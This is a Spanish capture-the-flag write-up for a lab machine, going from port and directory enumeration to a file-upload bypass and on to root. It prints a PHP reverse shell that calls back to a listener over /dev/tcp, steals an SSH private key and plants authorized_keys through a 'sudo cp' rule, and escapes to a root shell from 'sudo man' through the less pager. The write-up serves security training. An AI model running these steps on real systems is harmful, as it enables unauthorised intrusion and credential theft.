Enumeración
Comenzamos con un escaneo general y específico de puertos con nmap:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.32
❯ nmap -sCV -p 80 -oN 02-targeted.txt 192.168.1.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 00:06 -04
Nmap scan report for 192.168.1.32
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.14.2
|_http-title: 403 Forbidden
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.54 secondsEnumeramos directorios con gobuster, donde aparecen upload.html, admin y un uploads sin acceso:
❯ gobuster dir -u 'http://192.168.1.32' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/uploads (Status: 403) [Size: 169]
/admin (Status: 200) [Size: 3866]
/upload.html (Status: 200) [Size: 346]
/upload.php (Status: 200) [Size: 48]
/robots.txt (Status: 200) [Size: 17]
...Unrestricted File Upload mediante Path Parameter Bypass
En upload.html nos encontramos con un formulario para subir archivos. El servidor acepta un PHP ejecutable y confía en un parámetro que decide el directorio de destino. Esta combinación produce un Unrestricted File Upload RCE: al eliminar de la petición la línea que define el path, el archivo deja de guardarse en uploads y queda en la raíz web accesible.
❯ cat pwned.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'");
?>Accedemos a http://192.168.1.32/pwned.php y recibimos la shell como www-data, estabilizándola con pty:
❯ ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.32:39786.
bash: cannot set terminal process group (382): Inappropriate ioctl for device
bash: no job control in this shell
www-data@five:~/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'Privilege Escalation a melisa mediante sudo cp
Revisamos sudo -l:
www-data@five:/home$ sudo -l
Matching Defaults entries for www-data on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five:
(melisa) NOPASSWD: /bin/cpPodemos ejecutar cp como melisa. La regla permite un Sudo-Allowed Program Abuse que, según el origen y el destino elegidos, ofrece lectura y escritura con los permisos de esa usuaria. Antes de aprovecharlo, revisamos los puertos abiertos internamente con ss para determinar por dónde conectarnos como ella:
www-data@five:/tmp$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:4444 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 [::]:80 [::]:*Hay un SSH escuchando localmente en el puerto 4444. Para conectarnos como melisa, primero recuperamos su id_rsa usando cp con sus privilegios:
www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ chmod 777 id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
www-data@five:/tmp$ chmod 600 id_rsaA partir de la clave privada generamos su clave pública y la plantamos como authorized_keys en el .ssh de melisa, de nuevo abusando de cp:
www-data@five:/tmp$ ssh-keygen -y -f id_rsa > authorized_keys
www-data@five:/tmp$ sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys
www-data@five:/tmp$ ssh melisa@localhost -p 4444 -i id_rsa
melisa@five:~$Obtenemos shell como melisa y la primera flag.
Privilege Escalation a root mediante sudo man pager escape
Revisamos sudo -l con el nuevo usuario:
melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm,
/bin/clearPodemos ejecutar varios comandos como cualquier usuario y sin contraseña. Usaremos man, indicándole con -P un pager (less) desde el que escapamos a una shell con !/bin/bash:
melisa@five:~$ sudo man -P /usr/bin/less man
!/bin/bash
root@five:/home/melisa#Obtenemos la segunda flag.
Fin.